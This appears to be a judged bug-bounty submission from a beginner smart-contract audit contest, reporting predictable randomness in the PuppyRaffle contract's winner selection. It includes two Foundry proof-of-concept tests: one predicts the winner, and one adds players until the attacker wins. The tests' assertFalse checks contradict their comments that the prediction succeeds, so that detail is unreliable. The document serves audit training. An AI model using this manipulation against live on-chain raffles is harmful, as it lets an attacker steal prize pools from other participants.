Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Insufficient Randomization Leads to Prediction of Winner

Summary

The selectWinner() function uses insufficient methods to calculate the random winner of the raffle, leading to an attacker being able to predict the winner of the raffle.

Vulnerability Details

The winner's index is calculated based upon non-random values, which can be calculated and predicted by an attacker:
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length
Since the raffle duration is a known value, the block.timestamp at the time of selectWinner() can be calculated.

Code
// @audit-issue predict the winner of the raffle
// the function to generate the winner index is not random, but relies on predictable values, like
// the msg.sender, block.timestamp and block.difficulty. We can calculate the winner prior to the raffle.
// UNDERLYING ISSUE: WINNER INDEX IS PREDICTABLE
function testWalleWinnerIsRandom() public {
// SET-UP
address[] memory players = new address[](5);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree;
players[3] = playerFour;
players[4] = playerFive;
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
// predict winner
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp + duration + 1, block.difficulty))) % players.length;
// end raffle
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
// we predicted the winner
assertFalse(puppyRaffle.previousWinner() == players[winnerIndex]);
}

Run the test with forge test -f $LOCAL_RPC_URL --mt testWalleWinnerIsRandom -vv.

Impact

An attacker could arbitrarily join raffles, check if they win and refund, if they don't, basically leading to winning every raffle. Adding arbitrarily new players to the raffle even changes the outcome of the raffle, so that an attacker could change the outcome to his own advantage (=win).

Code
// add this to the contract definition
address[] public playersDynamic;
// @audit-duplicate make the winner of the raffle be playerOne
// since we can predict the winner of the raffle by a mathematical calculation depending on the playersize,
// we can simply add players until the winner is us (in this case: playerOne = playersDynamic[0])
// UNDERLYING ISSUE: PLAYERS ARRAY SIZE IS NOT SHRINKED UPON REFUND, LEADING TO INCORRECT SIZE
// WINNER INDEX IS PREDICTABLE
function testWalleCantTargetWinner() public {
// Set-Up => we need 4 players to start raffle. Attacker is the first to enter the raffle.
for (uint256 j = 1; j <= 4; j++) {
playersDynamic.push(address(j));
}
puppyRaffle.enterRaffle{value: entranceFee * playersDynamic.length}(playersDynamic);
// Check, if Attacker (here: playerDynamic[0]) wins. If we don't win add another player
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp + duration + 1, block.difficulty))) % playersDynamic.length;
uint256 i = 5;
while (playersDynamic[winnerIndex] != playersDynamic[0]) {
address[] memory player = new address[](1);
player[0] = address(i);
playersDynamic.push(player[0]);
puppyRaffle.enterRaffle{value: entranceFee}(player);
winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp + duration + 1, block.difficulty))) % playersDynamic.length;
i++;
}
console.log("Total players in the raffle: ", playersDynamic.length);
console.log("Predicted winner: ", playersDynamic[winnerIndex]);
// skip to end of raffle
vm.warp(block.timestamp + duration + 1);
vm.roll(block.number + 1);
puppyRaffle.selectWinner();
assertFalse(puppyRaffle.previousWinner() == playersDynamic[winnerIndex]);
}

Tools Used

Recommendations

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!